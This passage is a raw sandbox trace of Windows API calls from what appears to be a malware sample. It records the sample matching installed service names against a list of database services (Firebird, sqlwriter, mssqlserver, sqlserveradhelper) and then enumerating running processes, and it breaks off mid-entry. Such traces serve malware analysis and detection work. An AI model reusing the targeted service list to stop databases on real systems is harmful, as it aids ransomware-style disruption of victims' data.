[0140.512] lstrlenW (lpString="Dnscache") returned 8 [0140.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0140.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0140.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0140.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0140.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0140.512] lstrlenW (lpString="DoSvc") returned 5 [0140.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0140.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0140.512] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0140.512] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0140.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0140.512] lstrlenW (lpString="DPS") returned 3 [0140.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0140.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0140.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0140.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0140.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0140.513] lstrlenW (lpString="DusmSvc") returned 7 [0140.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0140.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0140.513] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0140.513] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0140.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0140.513] lstrlenW (lpString="EventLog") returned 8 [0140.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0140.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0140.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0140.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0140.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0140.513] lstrlenW (lpString="EventSystem") returned 11 [0140.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0140.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0140.513] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0140.513] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0140.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0140.513] lstrlenW (lpString="FontCache") returned 9 [0140.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0140.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0140.513] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0140.513] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0140.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0140.513] lstrlenW (lpString="gpsvc") returned 5 [0140.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0140.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0140.514] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0140.514] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0140.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0140.514] lstrlenW (lpString="iphlpsvc") returned 8 [0140.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0140.514] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0140.514] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0140.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0140.514] lstrlenW (lpString="KeyIso") returned 6 [0140.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0140.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0140.514] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0140.514] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0140.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0140.514] lstrlenW (lpString="LanmanServer") returned 12 [0140.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0140.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0140.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0140.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0140.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0140.514] lstrlenW (lpString="LanmanWorkstation") returned 17 [0140.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.514] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0140.514] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0140.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0140.514] lstrlenW (lpString="lfsvc") returned 5 [0140.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0140.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0140.515] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0140.515] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0140.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0140.515] lstrlenW (lpString="lmhosts") returned 7 [0140.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0140.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0140.515] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0140.515] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0140.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0140.515] lstrlenW (lpString="LSM") returned 3 [0140.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0140.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0140.515] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0140.515] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0140.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0140.515] lstrlenW (lpString="MapsBroker") returned 10 [0140.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0140.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0140.515] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0140.515] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0140.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0140.515] lstrlenW (lpString="MpsSvc") returned 6 [0140.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0140.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0140.515] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0140.515] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0140.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0140.516] lstrlenW (lpString="NcbService") returned 10 [0140.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0140.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0140.516] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0140.516] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0140.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0140.516] lstrlenW (lpString="netprofm") returned 8 [0140.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0140.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0140.516] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0140.516] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0140.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0140.516] lstrlenW (lpString="NlaSvc") returned 6 [0140.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0140.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0140.516] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0140.516] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0140.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0140.516] lstrlenW (lpString="nsi") returned 3 [0140.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0140.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0140.516] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0140.516] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0140.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0140.516] lstrlenW (lpString="PcaSvc") returned 6 [0140.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0140.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0140.516] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0140.517] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0140.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0140.517] lstrlenW (lpString="PlugPlay") returned 8 [0140.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0140.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0140.517] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0140.517] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0140.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0140.517] lstrlenW (lpString="Power") returned 5 [0140.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0140.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0140.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0140.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0140.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0140.517] lstrlenW (lpString="ProfSvc") returned 7 [0140.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0140.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0140.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0140.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0140.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0140.517] lstrlenW (lpString="RpcEptMapper") returned 12 [0140.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.517] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0140.517] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0140.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0140.517] lstrlenW (lpString="RpcSs") returned 5 [0140.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0140.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0140.518] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0140.518] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0140.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0140.518] lstrlenW (lpString="SamSs") returned 5 [0140.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0140.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0140.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0140.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0140.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0140.518] lstrlenW (lpString="Schedule") returned 8 [0140.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0140.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0140.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0140.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0140.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0140.518] lstrlenW (lpString="SecurityHealthService") returned 21 [0140.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0140.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0140.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0140.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0140.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0140.518] lstrlenW (lpString="SENS") returned 4 [0140.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0140.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0140.518] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0140.518] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0140.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0140.518] lstrlenW (lpString="ShellHWDetection") returned 16 [0140.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.519] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0140.519] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0140.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0140.519] lstrlenW (lpString="Spooler") returned 7 [0140.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0140.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0140.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0140.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0140.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0140.519] lstrlenW (lpString="SSDPSRV") returned 7 [0140.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0140.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0140.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0140.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0140.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0140.519] lstrlenW (lpString="StateRepository") returned 15 [0140.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0140.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0140.519] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0140.519] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0140.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0140.519] lstrlenW (lpString="SysMain") returned 7 [0140.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0140.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0140.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0140.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0140.520] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0140.520] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c8 [0140.525] Process32FirstW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.526] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.527] lstrlenW (lpString="System") returned 6 [0140.527] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.528] lstrlenW (lpString="smss.exe") returned 8 [0140.528] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.529] lstrlenW (lpString="csrss.exe") returned 9 [0140.529] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.545] lstrlenW (lpString="wininit.exe") returned 11 [0140.545] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.546] lstrlenW (lpString="csrss.exe") returned 9 [0140.546] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.547] lstrlenW (lpString="winlogon.exe") returned 12 [0140.547] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.548] lstrlenW (lpString="services.exe") returned 12 [0140.548] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.549] lstrlenW (lpString="lsass.exe") returned 9 [0140.549] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.550] lstrlenW (lpString="svchost.exe") returned 11 [0140.550] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0140.551] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0140.551] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0140.551] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0140.552] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.552] lstrlenW (lpString="svchost.exe") returned 11 [0140.552] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.553] lstrlenW (lpString="dwm.exe") returned 7 [0140.553] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.554] lstrlenW (lpString="svchost.exe") returned 11 [0140.554] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.555] lstrlenW (lpString="svchost.exe") returned 11 [0140.555] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.556] lstrlenW (lpString="svchost.exe") returned 11 [0140.556] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.557] lstrlenW (lpString="svchost.exe") returned 11 [0140.557] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.558] lstrlenW (lpString="svchost.exe") returned 11 [0140.558] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.558] lstrlenW (lpString="svchost.exe") returned 11 [0140.558] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.559] lstrlenW (lpString="svchost.exe") returned 11 [0140.559] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.560] lstrlenW (lpString="svchost.exe") returned 11 [0140.560] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.562] lstrlenW (lpString="svchost.exe") returned 11 [0140.562] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.563] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.563] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.563] lstrlenW (lpString="svchost.exe") returned 11 [0140.563] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, 